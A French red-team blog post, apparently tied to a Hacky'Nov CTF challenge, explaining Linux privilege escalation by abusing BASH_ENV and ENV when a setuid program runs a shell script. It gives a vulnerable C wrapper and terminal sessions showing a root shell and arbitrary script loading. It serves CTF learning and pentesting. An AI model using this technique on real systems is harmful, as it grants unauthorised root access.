title: Forgotten Environment Variable
date: Jun 07, 2024
tags: cheatsheets redteam privesc
Lors de la troisième édition de Hacky'Nov, je me suis rendu compte lors de la compétition qu'un challenge que j'avais préparé ne présentait que très peu de ressources pour être résolu.
C'est pourtant une privesc extrêmement simple à exploiter mais très peu documentée.
Plongeons dans les variables d'environnement fonctionnant en mode interactif et non interactif et regardons ce que ça veut VRAIMENT dire.
Imaginons le code C suivant qui appel un script pour l'exécuter en tant que root :
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setreuid(geteuid(), geteuid());
system("./script.sh");
}
Voici le script appelé
#!/bin/bash
# Message for the user
/bin/whoami
/bin/echo "Checking the condition..."
# Condition that is always false
if [ 1 -eq 2 ]; then
/bin/echo "This condition is true."
else
/bin/echo "False..."
exit
fi
# End of the script
echo "End of the script."
Ici on voit bien qu'il serait possible d'exploiter le dernier echo
, mais impossible de bypass la condition.
En regardant dans le manuel de bash on voit cette information.
When Bash is started non-interactively, to run a shell script, for example, it looks for the variable BASH_ENV in the environment, expands its value if it appears there, and uses the expanded value as the name of a file to read and execute.
Le code équivalent est donc :
if [ -n "$BASH_ENV" ]; then . "$BASH_ENV"; fi
Si on suit cette logique il suffit de déclarer cette variable d'environnement pour exécuter n'importe quel script :
lololekik@srv441507:~/env$ ls -lisa vulnexec
272703 20 -rwsr-xr-x 1 root root 16720 Jun 7 07:32 vulnexec
lololekik@srv441507:~/env$ echo "/bin/bash" > exploit.sh
lololekik@srv441507:~/env$ BASH_ENV=./exploit.sh ./vulnexec
root@srv441507:~/env# whoami && id
root
uid=0(root) gid=1000(lololekik) groups=1000(lololekik),27(sudo),997(docker)
root@srv441507:~/env# exit
exit
root
Checking the condition...
False...
Le BASH_ENV
sert donc à charger d'autres scripts avant l'exécution non interactive d'un script que l'on appelle.
Maintenant que l'on sait ça essayons d'aller plus loin.
Est-il possible d'exploiter BASH_ENV
dans tous nos scripts ?
Prenons le même code C mais remplaçons notre bash
par sh
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setreuid(geteuid(), geteuid());
system("/bin/sh /home/lololekik/env/script.sh");
}
Maintenant compilons ce code et essayons d'exploiter BASH_ENV avec un script sh
.
lololekik@srv441507:~/env$ gcc exec.c -o exec && sudo chown root:root exec && sudo chmod u+s exec
[sudo] password for lololekik:
lololekik@srv441507:~/env$ BASH_ENV=./exploit.sh ./exec
root
Checking the condition...
False...
lololekik@srv441507:~/env$
Ici on peut voir que ça ne fonctionne pas. En effet si on regarde un peu plus loin dans la documentation de bash
et dans la documentation de sh
, on peut remarquer que l'alternative à BASH_ENV
en sh
est ENV
.
Cependant si on essaie ça ne fonctionne pas.
lololekik@srv441507:~/env$ ENV=./exploit.sh ./exec
root
Checking the condition...
False...
lololekik@srv441507:~/env$
Si on est plus attentif, on se rend compte qu'il y a une grande différence dans la documentation entre bash
et sh
.
When invoked as an interactive shell with the name sh, Bash looks for the variable ENV, expands its value if it is defined, and uses the expanded value as the name of a file to read and execute.
bash
va exécuter BASH_ENV
lorsqu'il est lancé en mode non interactif alors que sh
va exécuter ENV
uniquement en mode interactif
Ce script s'exécutant en mode non interactif ne peut donc pas être exploité avec sh
.
Mais voyons dans quel cas il est possible d'exploiter la variable ENV
dans un shell interactif.
Avec les premières recherches que j'ai effectuées, je pensais qu'un shell pouvait "switcher" en mode interactif à partir du moment où une intervention humaine allait être requise pour terminer le script.
Je me suis donc empressé de faire le script suivant afin de chercher à l'exploiter :
#!/bin/sh
# Prompt for a password and compare its hash
check_password() {
echo -n "Enter your password: "
stty -echo
read password
stty echo
echo
# Compute the SHA-256 hash of the entered password
password_hash=$(echo -n "$password" | sha256sum | awk '{print $1}')
# Predefined hash to compare against (example: hash of "StrongP@ssw0rd!")
PREDEFINED_HASH="6e30ecb751cedbafbb0c29ddac7d55cfe6a39c6e022db6ac13ad2658451e2b4b"
# Compare the computed hash with the predefined hash
if [ "$password_hash" = "$PREDEFINED_HASH" ]; then
echo "Password is correct."
else
echo "Password is incorrect."
fi
}
# Call the function to check the password
check_password
L'idée ici n'est pas de bypass la condition de mot de passe, mais bien d'appeler du code arbitraire avec ENV
.
Pour ça on va essayer d'afficher un message avant l'exécution du script :
lololekik@srv441507:~/env$ echo "echo 'ENV File loaded : pwn :) '" > exploit.sh
lololekik@srv441507:~/env$ chmod +x exploit.sh
lololekik@srv441507:~/env$ ENV=./exploit.sh ./checkpassword.sh
Enter your password:
Password is incorrect.
lololekik@srv441507:~/env$ export ENV=./exploit.sh
lololekik@srv441507:~/env$ sh -c "./checkpassword.sh"
Enter your password:
Password is incorrect.
lololekik@srv441507:~/env$ sh -c "whoami"
lololekik
lololekik@srv441507:~/env$ ENV=./exploit.sh sh checkpassword.sh
Enter your password:
Password is incorrect.
lololekik@srv441507:~/env$
Ici on voit que ça ne fonctionne pas même en changeant la façon d'appeler notre code.
C'est bien parce que nous n'appelons pas notre shell dans un mode interactif. Ce n'est pas parce qu'il y a une interaction avec l'utilisateur que notre shell sera "interactif".
Par contre si on précise l'option -i
on rentrera dans un mode interactif.
lololekik@srv441507:~/env$ export ENV=./exploit.sh
lololekik@srv441507:~/env$ sh -i ./checkpassword.sh
ENV File loaded : pwn :)
$ $ $ $ > > > > > > > > > > > > > > > > > > > $ $ $ Enter your password:
Password is incorrect.
$
lololekik@srv441507:~/env$ sh -ci "whoami"
ENV File loaded : pwn :)
lololekik
Alors dans quelle condition l'exploiter la variable d'environnement ENV
?
La variable d'environnement ENV
pourra être exploitée si des scripts sont appelés avec l'option -i
en cli ou dans le shebang.
lololekik@srv441507:~/env$ head checkpassword.sh -n 1
#!/bin/sh -i
lololekik@srv441507:~/env$ ./checkpassword.sh
ENV File loaded : pwn :)
$ $ $ $ > > > > > > > > > > > > > > > > > > > $ $ $ Enter your password:
Password is incorrect.
$
Le mode interactif ne fonctionne donc pas avec bash.
lololekik@srv441507:~/env$ ENV=./exploit.sh bash -i checkpassword.sh
Enter your password:
Password is incorrect.
lololekik@srv441507:~/env$ BASH_ENV=./exploit.sh bash -i checkpassword.sh
Enter your password:
Password is incorrect.
lololekik@srv441507:~/env$ BASH_ENV=./exploit.sh bash checkpassword.sh
ENV File loaded : pwn :)
Enter your password:
Password is incorrect.
lololekik@srv441507:~/env$
Lors de la recherche de privesc il peut avoir des variables d'environnement qui peuvent être interessantes à exploiter.
Essayez toujours de vous demander dans quel mode se produit l'exécution d'un programme afin de voir si vous ne pouvez pas charger des scripts arbitraires.
A noter que cette attaque n'a de sens que si l'exécution d'un programme se fait avec des droits différents des votres.